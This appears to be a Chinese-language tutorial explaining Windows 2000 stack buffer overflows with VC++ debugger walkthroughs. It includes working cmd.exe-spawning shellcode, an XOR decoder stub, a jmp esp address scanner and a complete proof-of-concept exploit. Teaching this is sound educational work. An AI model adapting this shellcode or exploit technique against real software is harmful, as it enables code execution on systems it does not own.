Windows 2000缓冲区溢出技术原理
前言:
在看Jason著backend翻譯的《Windows 2000緩沖區(qū)溢出入門》時覺得過于簡單,沒有講到真正的
原理,我簡直不敢相信那會是老外寫的文章. 相反在看ipxodi和袁哥的緩沖區(qū)溢出原理和高級
ShellCode編寫技巧時我覺得寫的太好了,非常專業(yè),簡直是一種藝術(shù),看來我國的安全技術(shù)已經(jīng)在
向歐美等技術(shù)先進國家邁進。但是面向初學者的,進行詳細分析的緩沖溢出入門文章還是很少(我
還沒有看到),所以我下決心寫了這篇文章,從C的局部變量分配以及它和堆棧的關(guān)系、返回地址和
堆棧的關(guān)系、局部變量和返回地址以及堆棧的關(guān)系開始寫起,并在講述完原理后進行簡單的應(yīng)用,
使理論和應(yīng)用相結(jié)合,以給廣大初學緩沖溢出的朋友一點小小的幫助,本文還是具有典型性的,通
過本文的學習,可以讓我們從一個普通的C程序員,了解到更加底層的技術(shù),本文雖是面向初學者(
指初學緩沖溢出,而不是初學C語言),作者假定你(讀者)已經(jīng)是一位熟練的C程序員,并且了解一些
Asm編程技術(shù)。我也是剛學緩沖區(qū)溢出不久,這是我第一次寫溢出技術(shù),所以難免有錯誤的地方,還
請大家指正,在ipxodi和袁哥的文章中我學到了很多東西,但ipxodi和袁哥和文章比較深比較專業(yè)
,初學者學習起來有些困難,特別我又是非計算機專業(yè)的(我和綠盟的小四哥一樣是電腦會計專業(yè)的
,向小四哥學習,呵呵!).在這里把我學習時的一點理解,一點經(jīng)驗介紹給大家,希望對廣大學習緩沖
溢出的朋友有所幫助!
???????????????????? 第一章 存儲分配,局部內(nèi)存變量,堆棧和函數(shù)調(diào)用
1,首先寫一個簡單的C字符串拷貝程序
//test.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void overflow(void)
{
char buf[10];
strcpy(buf,"aaaaaaaaaa");
}//end overflow
int main(void)
{
overflow();
return 0;
}//end main
2,按F11進入"Step into"調(diào)試模式,其實只需要留意對我們研究和學習有用的匯編程序段,如下:
1: #include <stdio.h>
2: #include <stdlib.h>
3: #include <string.h>
4:
5: void overflow(void)
6: {
00401020 55 push ebp
00401021 8B EC mov ebp,esp
00401023 83 EC 4C sub esp,4Ch
00401026 53 push ebx
00401027 56 push esi
00401028 57 push edi
00401029 8D 7D B4 lea edi,[ebp-4Ch]
0040102C B9 13 00 00 00 mov ecx,13h
00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401036 F3 AB rep stos dword ptr [edi]
7: char buf[10];
8: strcpy(buf,"aaaaaaaaaa");
00401038 68 1C F0 41 00 push offset string "aaaaaaaaaa" (0041f01c)
0040103D 8D 45 F4 lea eax,[ebp-0Ch]
00401040 50 push eax
00401041 E8 6A 00 00 00 call strcpy (004010b0)
00401046 83 C4 08 add esp,8
9:
10: }//end overflow
00401049 5F pop edi
0040104A 5E pop esi
0040104B 5B pop ebx
0040104C 83 C4 4C add esp,4Ch
0040104F 3B EC cmp ebp,esp
00401051 E8 4A 01 00 00 call __chkesp (004011a0)
00401056 8B E5 mov esp,ebp
00401058 5D pop ebp
00401059 C3 ret
11:
12: int main(void)
13: {
00401070 55 push ebp
00401071 8B EC mov ebp,esp
00401073 83 EC 40 sub esp,40h
00401076 53 push ebx
00401077 56 push esi
00401078 57 push edi
00401079 8D 7D C0 lea edi,[ebp-40h]
0040107C B9 10 00 00 00 mov ecx,10h
00401081 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401086 F3 AB rep stos dword ptr [edi]
14: overflow();
00401088 E8 7D FF FF FF call @ILT+5(overflow) (0040100a)
15: return 0;
0040108D 33 C0 xor eax,eax
16: }//end main
0040108F 5F pop edi
00401090 5E pop esi
00401091 5B pop ebx
00401092 83 C4 40 add esp,40h
00401095 3B EC cmp ebp,esp
00401097 E8 04 01 00 00 call __chkesp (004011a0)
0040109C 8B E5 mov esp,ebp
0040109E 5D pop ebp
0040109F C3 ret
3,返回VStudio IDE,在調(diào)用overflow函數(shù)處設(shè)置斷點,再次選擇"Run"菜單項
這時程序在調(diào)用overflow前停止。(下面的學習你需要不斷地翻看上面的Asm程序段)
現(xiàn)在看一下在調(diào)用overflow之前的幾個需要注意的參數(shù),把它們加入"Watch"窗口
esp 0x0012ff34(注意:這些值在不同的機器上運行時可能會不一樣)
ebp 0x0012ff80
buf 變量尚未分配
overflow 0x00401020
main 0x00401070
4,按F11跟蹤進入overflow,讓程序停在6:
現(xiàn)在再看一下幾個主要參數(shù)
esp=0x0012ff30,其它未變(指我們watch的幾個標識符,這時eip一定是會變化的)
很顯然堆棧里壓了一個dword(4字節(jié))數(shù)據(jù),看看它是什么,打開memory窗口,
輸入esp,右擊窗口內(nèi)容,選"Long Hex Format",當前的堆棧頂內(nèi)容0x0040108d,
現(xiàn)在請看一下call overflow的下一行,如果找不到請從頭搜索"15:"字符串,
看到了嗎!壓入的是call overflow的下一指令地址,也就是我們通常說的"函數(shù)返
回地址".
再按F11(執(zhí)行push ebp),再看一下幾個主要參數(shù)
esp=0x0012ff2c,現(xiàn)在堆棧頂中是ebp的值0x0012ff80,
再按F11(執(zhí)行下面的語句),程序?qū)斍癳sp值保存在ebp中: mov ebp,esp
然后就開始分配局部變量了
sub esp,4ch;分配了76(0x4c)個字節(jié)這個地方我不太清楚為什么始終要保留64(0x40)個字節(jié),
其實只有12(0x0c)字節(jié)可用,隨后的7句指令:
00401026 53 push ebx
00401027 56 push esi
00401028 57 push edi
00401029 8D 7D B4 lea edi,[ebp-4Ch]
0040102C B9 13 00 00 00 mov ecx,13h
00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401036 F3 AB rep stos dword ptr [edi]
將這76個字節(jié)以dword(4)為單位填充為0xcccccccc,共填充76/4=19(0x13)次
讓我們在執(zhí)行完rep stos dword ptr [edi]時先停下來.在watch窗口里加入eip和一個表達式
"ebp-0ch",會發(fā)現(xiàn)在"ebp-0ch"和buf的地址一樣,這就是編譯程序在堆棧中為我們分配的局部
內(nèi)存變量的起始地址(如果你懂編譯原理,這里很容易理解),在memory窗口里輸入ebp-0ch
(變量起始地址),右擊窗口選"Byte Format",可以看到里面有12個字節(jié)是被0xcc填充過的.
好!現(xiàn)在跟蹤執(zhí)行完call strcpy,再看看Memory窗口的內(nèi)容,有11個字節(jié)被填充,前10個填充為
0x61即ASCII字符'a',后一個字節(jié)為0這驗證了C字符串操作函數(shù)總是產(chǎn)生一個空終止字符。
再往下看,右擊選"Long Hex Format"看到它們分別是 0x0012ff80和0x0040108d,什么?有點
熟?對啊!我也覺得有點面熟,為什么呢?請回頭看一下第4小節(jié)的開始部分,找到答案了?對!
是"老的ebp"和"函數(shù)返回地址",繼續(xù)跟蹤將執(zhí)行以下幾個動作,恢復主要寄存器內(nèi)容,
add esp 4ch銷毀了局部內(nèi)存變量恢復老的ebp(這時堆棧頂?shù)膬?nèi)容為0x0040108d),再ret返回
(其實ret相當于執(zhí)行了一次"pop eip",但并沒有這樣的指令)執(zhí)行完這條指令后eip的內(nèi)容變
為0x0040108d,這時已經(jīng)回到了主函數(shù)中,在主函數(shù)中將執(zhí)行幾乎同樣的動作,最后完成程序執(zhí)行。
有人可能會問overflow需要回到main所以用了一個ret,可是main中的ret是做什么用的呢?
其實初學者可能并不知道我們的C程序編譯后程序的空間結(jié)構(gòu)(簡化后的)是這么一個樣子的.
----------------------------------
//程序入口點(Program Entry Point)
.
.
.
call _main
push eax
call _ExitProcess
.
----------------------------------
//void overflow(void)
push ebp
.
.
.
call _strcpy
.
.
.
ret
----------------------------------
//int main(void)
push ebp
.
.
.
call _overflow
.
.
.
ret
----------------------------------
overflow中的ret讓程序回到main,而main中的ret是為了回到入口點那段程序,以返回操作系統(tǒng)。
小結(jié):在第一章里我們學習到了一些為理解緩沖區(qū)溢出打基礎(chǔ)的東西,如局部內(nèi)存變量是如
何分配的,它于堆棧的關(guān)系以及函數(shù)調(diào)用、函數(shù)返回地址與堆棧的關(guān)系,把這些東西搞懂
了以后我們可以進行一些簡單的應(yīng)用,出于學習原理的目的,在下一章中我們將用緩沖溢
出來實現(xiàn)一個命令控制臺窗口(cmd.exe),如果你需要更實用的,可以參照ipxodi和袁哥
的相關(guān)技術(shù)文章。
???????????????????? 第二章 利用溢出覆蓋,改變程序流程及其簡單應(yīng)用
第一節(jié),地址覆蓋
同樣的還是第一章開頭的那個程序,讓我們改成為一個有緩沖溢出問題的程序.
//test.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void overflow(void)
{
char buf[10];
strcpy(buf,"aaaaaaaaaab1234");//<=-----改這里在原來的十個'a'后再加"b1234"
}//end overflow
int main(void)
{
overflow();
return 0;
}//end main
重新編譯,在strcpy處設(shè)置斷點,然后無錯運行到斷點處,切換到匯編代碼窗口
00401020 55 push ebp
00401021 8B EC mov ebp,esp
00401023 83 EC 4C sub esp,4Ch
00401026 53 push ebx
00401027 56 push esi
00401028 57 push edi
00401029 8D 7D B4 lea edi,[ebp-4Ch]
0040102C B9 13 00 00 00 mov ecx,13h
00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401036 F3 AB rep stos dword ptr [edi]
7: char buf[10];
8: strcpy(buf,"aaaaaaaaaab1234");//<=-----讓程序停在這里
00401038 68 1C F0 41 00 push offset string "aaaaaaaaaab1234" (0041f01c)
0040103D 8D 45 F4 lea eax,[ebp-0Ch]
00401040 50 push eax
00401041 E8 6A 00 00 00 call strcpy (004010b0)
00401046 83 C4 08 add esp,8
9: }//end overflow
00401049 5F pop edi
0040104A 5E pop esi
0040104B 5B pop ebx
0040104C 83 C4 4C add esp,4Ch
0040104F 3B EC cmp ebp,esp
00401051 E8 4A 01 00 00 call __chkesp (004011a0)
00401056 8B E5 mov esp,ebp
00401058 5D pop ebp
00401059 C3 ret
在watch窗口加入ebp和buf,并在memory窗口輸入"buf"看一下strcpy函數(shù)執(zhí)行以前的堆棧情況,選擇
"Long Hex Format",可以看到當前的堆棧情況如下:
0012FEE0 CCCCCCCC
.
.
.
.
0012FF20 CCCCCCCC //<=----buf的起始地址(再次強調(diào),不同機器上運行時這里的值可能會不一樣),12字節(jié)可用
0012FF24 CCCCCCCC
0012FF28 CCCCCCCC
0012FF2C 0012FF80 //<=----老的ebp,是由函數(shù)開始處的push ebp指令填入的
0012FF30 0040108D //<=----函數(shù)返回地址即main函數(shù)中call overflow指令的下指令地址
也可以表示為:
[64個保留字節(jié)(填充為0xcc)]
[buf(12個可用字節(jié),當前全部填充為0xcc)]
[老的ebp(當前為0x0012FF80)]
[函數(shù)返回地址(當前為0x0040108D)]
按F10直至執(zhí)行完call strcpy再看一下memory窗口紅色的部分,選擇"Byte Format",從buf的起始地址開始被填入了十個0x61('a'),一個0x62('b'),0x31('1'),0x32('2'),0x33('3'),0x34('4'),以及一個0x00,可以看到"老的ebp"已經(jīng)被我們改變了:
0012FEE0 CCCCCCCC
.
.
.
.
0012FF20 61 61 61 61 aaaa //<=----buf的起始地址,內(nèi)容已經(jīng)改變
0012FF24 61 61 61 61 aaaa
0012FF28 61 61 62 31 aab1 //<=----注意!!!!!
0012FF2C 32 33 34 00 234. //<=----老的ebp內(nèi)容已經(jīng)被改變
0012FF30 8D 10 40 00 ..@. //<=----函數(shù)返回地址未變
看一下我剛才讓你注意的地方,'b'和'1'將buf的12個可用字節(jié)的最后兩個字節(jié)填充了,而后面的'2','3','4'和0x00做為一個dword覆蓋(修改)了ebp的值,再下面一個dword就是函數(shù)返回地址,再按F10執(zhí)行,程序可以正常返回main(因為我們沒有修改返回地址值),看到了這里改變函數(shù)返回地址成另外一個任意的值(讓程序流程跳到另一地址空間)我想已經(jīng)不是什么難事了吧!
可能初學緩沖溢出的朋友會問“這管什么用呢?”,不要著急下面我們就看看這樣的技術(shù)究竟可以做什么!
第二節(jié),利用地址覆蓋,跳轉(zhuǎn)并執(zhí)行任意代碼
這一部分開始將有些復雜,你的C/Asm混合編程技術(shù)將得到煅煉,寫一個程序使程序開啟一個cmd.exe原理是這樣的:先用LoadLibrary("msvcrt.dll")裝載vc運行時庫(Runtime Library)再用GetProcAddress("system")獲得system函數(shù)起址,system函數(shù)有什么作用不用我說了吧!如果不明白請參閱msdn.再用system("cmd.exe")開啟cmd.exe命令控制臺
程序如下
#include <stdio.h>
void main(void)
{
__asm
{//在這里模擬出一個函數(shù)體內(nèi)的程序結(jié)構(gòu),我們自己分配空間來存儲"msvcrt.dll","system","cmd.exe"三個字串
push ebp
push ecx
push edx
mov ebp,esp
sub esp,20h//分配32(0x20)個字節(jié)就已經(jīng)夠用了
xor ecx,ecx
/**************************************/
//調(diào)用LoadLibrary函數(shù)裝載msvcrt.dll
mov byte ptr [ebp-0bh],'m'
mov byte ptr [ebp-0ah],'s'
mov byte ptr [ebp-09h],'v'
mov byte ptr [ebp-08h],'c'
mov byte ptr [ebp-07h],'r'
mov byte ptr [ebp-06h],'t'
mov byte ptr [ebp-05h],'.'
mov byte ptr [ebp-04h],'d'
mov byte ptr [ebp-03h],'l'
mov byte ptr [ebp-02h],'l'
mov byte ptr [ebp-01h],0
lea eax,[ebp-0bh]
push eax
mov ecx,77e6a254h;//<=----用depends獲得的LoadLibrary函數(shù)地址,在我的機器上它是不變的,你學習本文時可能要修改
call ecx
mov edx,eax//保存裝載后msvcrt.dll在內(nèi)存中的起始地址
//調(diào)用GetProcAddress取得system函數(shù)起址
mov byte ptr [ebp-0bh],'s'
mov byte ptr [ebp-0ah],'y'
mov byte ptr [ebp-09h],'s'
mov byte ptr [ebp-08h],'t'
mov byte ptr [ebp-07h],'e'
mov byte ptr [ebp-06h],'m'
mov byte ptr [ebp-05h],0
lea eax,[ebp-0bh]
push eax
push edx
mov ecx,77e69ac1h;//<=----同樣的用depends獲得的,你學習本文時可能要修改它
call ecx
mov edx,eax//保存獲得的system函數(shù)在內(nèi)存中的起始地址
//調(diào)用system開啟cmd環(huán)境
mov byte ptr [ebp-0bh],'c'
mov byte ptr [ebp-0ah],'m'
mov byte ptr [ebp-09h],'d'
mov byte ptr [ebp-08h],'.'
mov byte ptr [ebp-07h],'e'
mov byte ptr [ebp-06h],'x'
mov byte ptr [ebp-05h],'e'
mov byte ptr [ebp-04h],0
lea eax,[ebp-0bh]
push eax
call edx
add esp,4;//system函數(shù)使用C調(diào)用約定(它的原型沒有使用WINAPI這樣的標識符)由調(diào)用者調(diào)整堆棧
/**************************************/
mov esp,ebp
pop edx
pop ecx
pop ebp
}
}
編譯、運行得到命令控制臺,調(diào)入Step Into調(diào)試模式,選擇"Disassembly"和"Code Bytes"得到機器代碼如下:
char code[]="/x55/x51/x52/x8B/xEC/x83/xEC/x20/x33/xC9"
"/xC6/x45/xF5/x6D/xC6/x45/xF6/x73/xC6/x45"
"/xF7/x76/xC6/x45/xF8/x63/xC6/x45/xF9/x72"
"/xC6/x45/xFA/x74/xC6/x45/xFB/x2E/xC6/x45"
"/xFC/x64/xC6/x45/xFD/x6C/xC6/x45/xFE/x6C"
"/xC6/x45/xFF/x00/x8D/x45/xF5/x50/xB9/x54"//<=----注意:第一個0x00
"/xA2/xE6/x77/xFF/xD1/x8B/xD0/xC6/x45/xF5"
"/x73/xC6/x45/xF6/x79/xC6/x45/xF7/x73/xC6"
"/x45/xF8/x74/xC6/x45/xF9/x65/xC6/x45/xFA"
"/x6D/xC6/x45/xFB/x00/x8D/x45/xF5/x50/x52"//<=----第二個0x00
"/xB9/xC1/x9A/xE6/x77/xFF/xD1/x8B/xD0/xC6"
"/x45/xF5/x63/xC6/x45/xF6/x6D/xC6/x45/xF7"
"/x64/xC6/x45/xF8/x2E/xC6/x45/xF9/x65/xC6"
"/x45/xFA/x78/xC6/x45/xFB/x65/xC6/x45/xFC"
"/x00/x8D/x45/xF5/x50/xFF/xD2/x83/xC4/x04"//<=----第三個0x00
"/x8B/xE5/x5A/x59/x5D"
如果不懂在匯編語言中調(diào)用C函數(shù)如何調(diào)整參數(shù),請參閱羅云琳大哥的相關(guān)資料。
經(jīng)過第一章和第二章這么多的分析你的頭腦中應(yīng)該有了一個ShellCode的雛形的了吧!在這里我們的溢出字串不再使用aaaaaaaaaab1234而是將它設(shè)計成這樣:aaaaaaaaaabbddddxxxxcccccccc......的格式.前10個a和2個'b'作用不變(其實沒有用,"墊腳石"而已),中4個dddd覆蓋ebp,xxxx為jmp esp指令的內(nèi)存地址(它覆蓋了程序原來的返回地址),后面的cccccccc......是我們上面的獲得命令控制臺程序的機器碼(經(jīng)過編碼的)。
當字串溢出后overflow的ret讓eip=xxxx(執(zhí)行jmp esp),這時esp指向我們的命令控制臺程序起址,這樣就讓原本應(yīng)該回到主函數(shù)繼續(xù)執(zhí)行的程序流程改變?nèi)?zhí)行我們的代碼了,這里還有一個小問題是C的字串起考貝函數(shù)會在Code字串里的第一個0x00處(共三個分別在code的第53偏移、第95偏移和第140偏移處)將我們的ShellCode截斷,這樣就我們希望執(zhí)行的代碼將不被全部執(zhí)行,所以ShellCode必須經(jīng)過編碼將0x00異或0x99,并在溢出后動態(tài)解碼,這就需要一段解碼程序加在ShellCode前面,溢出后它將首先被執(zhí)行,它將Shellcode中的經(jīng)過編碼的0x99解碼(還原)成0x00,編碼我參考了ipxodi的異或0x99方法,在本文中我使用了不同的解碼算法,先將code編碼成這樣:
"/x55/x51/x52/x8B/xEC/x83/xEC/x20/x33/xC9"
"/xC6/x45/xF5/x6D/xC6/x45/xF6/x73/xC6/x45"
"/xF7/x76/xC6/x45/xF8/x63/xC6/x45/xF9/x72"
"/xC6/x45/xFA/x74/xC6/x45/xFB/x2E/xC6/x45"
"/xFC/x64/xC6/x45/xFD/x6C/xC6/x45/xFE/x6C"
"/xC6/x45/xFF/x99/x8D/x45/xF5/x50/xB9/x54"//<=----第一個編碼后的0x99,請比較未編碼前的相應(yīng)位置的值
"/xA2/xE6/x77/xFF/xD1/x8B/xD0/xC6/x45/xF5"
"/x73/xC6/x45/xF6/x79/xC6/x45/xF7/x73/xC6"
"/x45/xF8/x74/xC6/x45/xF9/x65/xC6/x45/xFA"
"/x6D/xC6/x45/xFB/x99/x8D/x45/xF5/x50/x52"//<=----第二個編碼后的0x99
"/xB9/xC1/x9A/xE6/x77/xFF/xD1/x8B/xD0/xC6"
"/x45/xF5/x63/xC6/x45/xF6/x6D/xC6/x45/xF7"
"/x64/xC6/x45/xF8/x2E/xC6/x45/xF9/x65/xC6"
"/x45/xFA/x78/xC6/x45/xFB/x65/xC6/x45/xFC"
"/x99/x8D/x45/xF5/x50/xFF/xD2/x83/xC4/x04"//<=----第三個編碼后的0x99
"/x8B/xE5/x5A/x59/x5D";
需要在它頭部加上以下解碼子程序:
__asm
{
mov eax,esp; //這是溢出后執(zhí)行jmp esp后執(zhí)行的第一條指令,esp指向當前指令地址,意義是"獲得解碼程序起址"
add eax,44h; //這個解碼子程序有20個字節(jié)(解碼程序起址+20=code起址,再加上53偏移)使eax指向第一個編碼過的0x99
xor [eax],99h //解碼第一個0x99,這個操作的意義是"0x99異或0x99=0x00",即還原成0x00
add eax,28h //指向第95偏移
xor [eax],99h //解碼第二個0x99
add eax,2eh //指向第140偏移
xor [eax],99h //解碼第三個0x99
}
jmp esp指令地址是通過下面這個簡單的程序找到的,請參考backend的相關(guān)資料:
#include "stdafx.h"
#include "find.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/
// The one and only application object
CWinApp theApp;
using namespace std;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm jmp esp
#else
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("msvcrt");
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}
在我的機器上找到的jmp esp代碼在0x78024e02地址處,這樣我們已經(jīng)收集全了所有的信息:
(溢出點,jmp esp代碼地址,經(jīng)過編碼的ShellCode和解碼ShellCode的子程序)
Shellcode=溢出字串+jmp esp+解碼子程序+code(編碼后的)得到如下代碼:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
char xcode[]="aaaaaaaaaabbdddd"
"/x02/x4e/x02/x78"//jmp esp 代碼地址,不同機器不同動態(tài)連接庫版本可能不一樣
"/x8B/xC4/x83/xC0/x49/x80/x30/x99/x83/xC0"//解碼子程序
"/x29/x80/x30/x99/x83/xC0/x2e/x80/x30/x99"
"/x55/x51/x52/x8B/xEC/x83/xEC/x20/x33/xC9"//開啟cmd.exe的程序(code)
"/xC6/x45/xF5/x6D/xC6/x45/xF6/x73/xC6/x45"
"/xF7/x76/xC6/x45/xF8/x63/xC6/x45/xF9/x72"
"/xC6/x45/xFA/x74/xC6/x45/xFB/x2E/xC6/x45"
"/xFC/x64/xC6/x45/xFD/x6C/xC6/x45/xFE/x6C"
"/xC6/x45/xFF/x99/x8D/x45/xF5/x50/xB9/x54"
"/xA2/xE6/x77/xFF/xD1/x8B/xD0/xC6/x45/xF5"
"/x73/xC6/x45/xF6/x79/xC6/x45/xF7/x73/xC6"
"/x45/xF8/x74/xC6/x45/xF9/x65/xC6/x45/xFA"
"/x6D/xC6/x45/xFB/x99/x8D/x45/xF5/x50/x52"
"/xB9/xC1/x9A/xE6/x77/xFF/xD1/x8B/xD0/xC6"
"/x45/xF5/x63/xC6/x45/xF6/x6D/xC6/x45/xF7"
"/x64/xC6/x45/xF8/x2E/xC6/x45/xF9/x65/xC6"
"/x45/xFA/x78/xC6/x45/xFB/x65/xC6/x45/xFC"
"/x99/x8D/x45/xF5/x50/xFF/xD2/x83/xC4/x04"
"/x8B/xE5/x5A/x59/x5D";
void overflow(void)
{
char buf[10];
strcpy(buf,xcode);//模擬溢出漏洞
}//end overflow
int main(void)
{
LoadLibrary("msvcrt.dll");//模擬受攻擊應(yīng)用程序引入的msvcrt.dll(這里只是模擬,有些漏洞程序并不引入這個庫)
overflow();
return 0;
}//end main
本程序在Windows 2000 Pro 5.00.2195 SP2下,由VC++ 6.0編譯、調(diào)試、運行通過。
第二章小結(jié):
寫一個溢出攻擊測試程序需要以下步驟:
1,發(fā)現(xiàn)并確定漏洞程序的溢出點
2,找到j(luò)mp esp指令地址
3,編寫并優(yōu)化Shellcode程序代碼(C或Asm),如果必要在Shellcode頭部加上編/解碼程序(如本文所舉的例子)
4,調(diào)試、測試代碼有效性,公布代碼(如果不是很危險,否則可能會觸犯法律)
關(guān)于:
程序設(shè)計是一門高度藝術(shù)化的技術(shù),可現(xiàn)在很多人(程序員)卻說"不需要會經(jīng)典算法,不需要會數(shù)據(jù)結(jié)構(gòu),不需要會底層技術(shù),我們做不了的可以讓其它公司做,光使用VB.NET做開發(fā),賺的錢就夠我用的了..",我卻要說這些人并不是真正的程序員,我非常崇拜XFocus的FlashSky以及NSFocus的ipxodi、袁哥、小四哥等,他們中同樣有很多人是非計算機專業(yè)的,可在我心目中他們才是高境界的程序員,我會努力的向他們學習,并不斷的充實自己,希望在不久的將來我會成為中安網(wǎng)的FlashSky......!
最后:
進行溢出攻擊要比本文描述的復雜很多(本文只是剖析溢出原理,在完全理解本文以后,你也可以試著練習練習),首先溢出點很難確定(計算),這需要你熟練使用反匯編工具和調(diào)試工具,并有大量的調(diào)試經(jīng)驗(看到某一段Asm代碼馬上就可以想像到它的C代碼表示),還有ShellCode要寫的不具有平臺依賴性,也就是說它越通用越好(當然你別指望為Windows寫的ShellCode可以拿到Unix/Linux上使用,反之亦然),最好是將ShellCode里用到的函數(shù)全部都動態(tài)引入(用LoadLibrary和GetProcAddress函數(shù),這也是我為什么在第二章開啟cmd.exe的程序里使用它們的原因,袁哥寫的文章<ShellCode編寫高級技術(shù)>里甚至連這兩個函數(shù)也使用高深的技術(shù)動態(tài)引入,jmp esp代碼地址同樣是動態(tài)定位的,天啦!活佛轉(zhuǎn)世;-))
此外,ShellCode的編/解碼子程序同樣重要,編寫的好壞直接決定代碼是否被完整執(zhí)行,同樣有很深的東西可以學習和研究。
終于完成了這篇溢出技術(shù)文章,我覺得我的腦子現(xiàn)在就像一個要溢出的堆棧:-),受不了了,不說了,再見!
??????????????????????????? writen by yellow from www.safechina.net
The End.
總結(jié)
以上是生活随笔為你收集整理的Windows 2000缓冲区溢出技术原理的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Encoder-Decoder (bas
- 下一篇: MatConvnet工具箱文档翻译理解(